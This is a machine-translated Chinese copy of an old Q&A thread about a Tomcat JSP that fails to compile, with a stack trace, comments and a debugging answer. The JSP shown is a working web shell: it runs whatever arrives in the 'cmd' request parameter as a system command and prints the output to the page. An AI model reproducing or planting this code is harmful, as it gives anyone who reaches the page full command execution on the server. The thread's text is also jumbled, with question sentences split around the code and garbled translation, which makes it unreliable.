2012-08-06 146 views
0

試圖編寫一個tomcat應用程序。好好學習。它用JSP編寫。沒有必要去猜測它做什麼......我試圖編譯這個代碼在這裏:該線是造成類不會編譯JSP Tomcat

HTTP Status 500 - 

    type Exception report 

    message 

    description The server encountered an internal error() that prevented it from fulfilling this request. 

    exception 

    org.apache.jasper.JasperException: Unable to compile class for JSP 
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553) 
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136) 
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307) 
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292) 

    root cause 

    java.lang.NullPointerException 
sun.misc.URLClassPath$3.run(Unknown Source) 
java.security.AccessController.doPrivileged(Native Method) 
sun.misc.URLClassPath.getLoader(Unknown Source) 
sun.misc.URLClassPath.getLoader(Unknown Source) 
sun.misc.URLClassPath.getResource(Unknown Source) 
java.net.URLClassLoader$1.run(Unknown Source) 
+2

它不是真的在你的代碼中使用這些引號(「),是嗎?如果確實使用了''',那麼請編輯這個問題,以便我們更容易地剪切和粘貼。 – davidfmatheson 2012-08-06 12:20:42

+2

噢,這真是一個糟糕的主意。你不應該在你的JSP中使用scriptlet代碼,而且我也不會不建議像這樣在服務器上運行命令,你已經將標記和服務器端的功能混合在一起,形成一個可愛的混亂體驗,學習JSTL並重新思考自己在做什麼,這是一個關於如何使用的案例研究JSP不正確。 – duffymo 2012-08-06 12:24:17

回答

1

你知道:

<%@ page import=」java.util.*,java.io.*」%> 
    <% 
    if (request.getParameter(「cmd」) != null) { 
     out.println(「Command: 」 + 
     request.getParameter(「cmd」) + 「<BR>」); 
     Process p = Runtime.getRuntime().exec(request.getParameter(「cmd」)); 
     OutputStream os = p.getOutputStream(); 
     InputStream in = p.getInputStream(); 
     DataInputStream dis = new DataInputStream(in); 
     String disr = dis.readLine(); 
     while (disr != null) { 
      out.println(disr); 
      disr = dis.readLine(); 
     } 
    } 
    %> 

我得到這個錯誤吧問題?嘗試一次註釋一行,直到錯誤不再發生。

從最佳實踐的角度來看,您應該嘗試將大部分代碼移到Servlet類中,並將文本輸出發送到JSP以供顯示。這會讓你的代碼更容易調試(例如,堆棧跟蹤會告訴你哪一行是給NPEx的),也可以讓你爲它編寫單元測試。